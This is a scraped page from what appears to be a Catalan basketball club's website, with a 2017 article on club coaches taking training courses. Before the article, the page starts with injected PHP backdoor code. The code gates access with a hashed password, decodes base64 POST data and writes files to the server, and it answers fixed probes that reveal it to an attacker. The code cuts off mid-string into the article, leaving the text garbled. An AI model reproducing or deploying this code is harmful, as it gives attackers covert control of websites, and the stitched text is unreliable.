function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" TGN Bàsquet, pedrera d'entrenadors - Tgn Bàsquet Club -

TGN Bàsquet, pedrera d’entrenadors

By
Updated: juliol 13, 2017

El TGN Bàsquet continua creixent a un ritme imparable. El conjunt lila, que compta amb més de 30 equips temporada rere temporada i que fonamenta la seva progressió en el treball amb les categories de base, tal com va afirmar el flamant nou director esportiu del club lila, Raül Bonet, és també pedrera de tècnics. Així, fins a vuit tècnics de l’entitat han fet aquest estiu els cursos d’entrenadors. Cinc d’ells, l’anomenat d’iniciació o nivell 0: Clàudia Renard, Laia Mallol, Iñaki Berasategui, Irene Urbistondo i Irene Guirao. Els altres tres entrenadors, amb més experiència, han fet el de primer nivell: David Artero, Anna Berasategui i Álex Garrido. «La temporada passada vaig entrenar cadets i això em va servir per adonar-me que puc aportar encara més. Em falta molt per aprendre i poder, d’aquesta manera, entrenar millor els jugadors. De moment faig el curs de primer nivell i més endavant ja veuré si cal continuar formant-me», assegura Álex Garrido, que el curs passat va dirigir el cadet masculí lila. Garrido assegura que el fet que tants entrenadors del TGN Bàsquet es formin per a ser millors tècnics és tot un luxe: «Pel club és tot un luxe que tingui nois tan joves que vulguin tenir el títol d’entrenador, i a més, tots sortits de la casa, això no passa a tot arreu. És fantàstic».

Un dels altres que acumula alguns anys a les banquetes és David Artero. Ell afirma que ara és millor entrenador que quan va començar fruit de l’experiència: «He aprofitat que el curs es feia a Tarragona per treure-me’l perquè els altres anys no el podia compatibilitzar amb el meu horari. Tot i que ara faig el curs de primer nivell, vull continuar creixent com a entrenador i afrontar els cursos següents. Em considero molt millor entrenador que fa dos anys perquè el dia a dia de preparar els entrenaments i també estar d’ajudant de tècnics que fa més anys que s’hi dediquen ha ajudat en aquest aprenentatge».

Entre les joves s’ha produït una espècie d’efecte sorpresa en adquirir nous coneixements. Un aprenentatge que anirà a més i que tindrà la seva versió pràctica en la pròxima temporada. «He après molt, coses que no m’havia plantejat com, per exemple, situacions inesperades en una reunió de pares de jugadors i també el tracte amb nens. Vaig decidir fer el curs perquè em va agradar després de fer un any com a ajudant», admet Irene Guirao. Una altra Irene, Urbistondo, afirma que el curs també li ha servit per a millorar com a jugadora —serà júnior de primer any el curs vinent—. «Això ens servirà per a millorar com a entrenadores però també com a jugadores. És una manera d’entendre millor el joc. M’agrada molt entrenar, aquesta passada temporada he entrenat benjamines i he estat de segona amb Anna Berasategui. El més bonic és ensenyar tot allò que saps als jugadors».

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *